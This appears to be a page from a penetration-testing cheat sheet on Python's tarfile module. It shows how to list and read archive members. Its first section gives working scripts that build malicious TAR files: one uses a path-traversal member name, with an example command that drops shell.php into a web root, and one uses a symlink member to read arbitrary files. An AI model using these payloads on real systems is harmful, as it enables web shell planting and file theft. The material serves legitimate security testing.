Skip to content
TAR

TAR

Malicious TAR — traversal & symlink

tar.add() reads the local file selected by file_to_archive. Its arcname argument controls the member name stored in the TAR archive. A vulnerable target extractor that trusts a traversal member name can write that file outside its intended extraction directory.

import sys
import tarfile

file_to_archive = sys.argv[1]
name_inside_archive = sys.argv[2]

with tarfile.open("payload.tar.gz", "w:gz") as tar:
    tar.add(file_to_archive, arcname=name_inside_archive)
python3 tar_archive.py shell.php ../../../../var/www/html/shell.php

A symbolic-link member stores a link target instead of regular file content. If the target extractor creates that link and the application later reads or serves it, the link can redirect the read to a file outside the extraction directory.

import tarfile

with tarfile.open("payload.tar.gz", "w:gz") as tar:
    link_member = tarfile.TarInfo("loot.txt")
    link_member.type = tarfile.SYMTYPE
    link_member.linkname = "<ABSOLUTE_FILE_PATH>"
    tar.addfile(link_member)

TarInfo represents one archive member. Setting type to SYMTYPE marks it as a symbolic link, and linkname stores the filesystem path that the extracted link references.

Find by: tar, tarfile, symlink, path traversal, arbitrary read, arbitrary write, malicious archive, extract, exploit, gap, link

List TAR archive members

The r:* mode opens a TAR archive for reading and automatically detects no compression, gzip, bzip2, or xz compression. getmembers() returns TarInfo objects; each object’s name attribute contains its stored path.

import sys
import tarfile

archive = sys.argv[1]

with tarfile.open(archive, "r:*") as tar:
    for member in tar.getmembers():
        print(member.name)

Find by: tar, tarfile, list archive, list tar members, getmembers, tarinfo, member names, inspect archive

Read a file from a TAR archive

extractfile() opens one regular archive member without extracting the archive to disk.

import sys
import tarfile

archive = sys.argv[1]
file_to_read = sys.argv[2]

with tarfile.open(archive, "r:*") as tar:
    archived_file = tar.extractfile(file_to_read)
    data = archived_file.read()
    print(data.decode())

Find by: zip, tar, extract, read archive, namelist, extractall, list contents, unpack, open archive, gap, inspect